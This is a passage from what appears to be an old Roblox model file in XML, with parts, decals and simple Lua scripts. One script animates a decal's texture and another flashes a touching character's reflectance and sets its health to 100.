part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(1)


wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0


	end
	end

end

script.Parent.Touched:connect(onTouched)
</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX19">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">37uaea2t</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX20">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">eyhz</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Part" referent="RBX21">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1003</int>
					<CoordinateFrame name="CFrame">
						<X>-8.19999981</X>
						<Y>5.60000038</Y>
						<Z>33</Z>
						<R00>0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>-1</R10>
						<R11>0</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">false</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Infected</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">9</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>0.400000006</Y>
						<Z>2</Z>
					</Vector3>
				</Properties>
				<Item class="Script" referent="RBX22">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">w=.03
d=script.Parent.Decal
while true do
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
end</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX23">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">udcr5c0u3</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX24">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">w=.03
d=script.Parent.Decal2
while true do
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
end</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX25">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">iyfy2r</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Decal" referent="RBX26">
					<Properties>
						<token name="Face">1</token>
						<string name="Name">Decal</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><url>http://www.roblox.com/asset/?id=9439031</url></Content>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX27">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">9sim</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Decal" referent="RBX28">
					<Properties>
						<token name="Face">4</token>
						<string name="Name">Decal2</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><url>http://www.roblox.com/asset/?id=9439031</url></Content>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX29">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">ejg7aef</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="BlockMesh" referent="RBX30">
					<Properties>
						<float name="Bevel">0</float>
						<float name="Bevel Roundness">0</float>
						<float name="Bulge">0</float>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1</X>
							<Y>0</Y>
							<Z>5</Z>
						</Vector3>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX31">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">vh4np</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX32">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">function stick(x, y)
	weld = Instance.new(&quot;Weld&quot;) 

	weld.Part0 = x
	weld.Part1 = y

	local HitPos = x.Position

	local CJ = CFrame.new(HitPos) 
	local C0 = x.CFrame:inverse() *CJ 
	local C1 = y.CFrame:inverse() * CJ 

	weld.C0 = C0 
	weld.C1 = C1 
	
	weld.Parent = x
end

function onTouched(part)
	local h = part.Parent:findFirstChild(&quot;Humanoid&quot;)
	if h~=nil then
wait(0.001)h.Health = 100
children = h.Parent:children()

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(2)

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0


wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(1)


wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0


	end
	end

end

script.Parent.Touched:connect(onTouched)
</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX33">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">37uaea2t</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX34">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">eyhz</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX35">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">eletricity collecter1</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Part" referent="RBX36">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>-8</X>
							<Y>0.899978757</Y>
							<Z>25.5</Z>
							<R00>-0</R00>
							<R01>-1</R01>
							<R02>-0</R02>
							<R10>-1</R10>
							<R11>-0</R11>
							<R12>-0</R12>
							<R20>-0</R20>
							<R21>-0</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
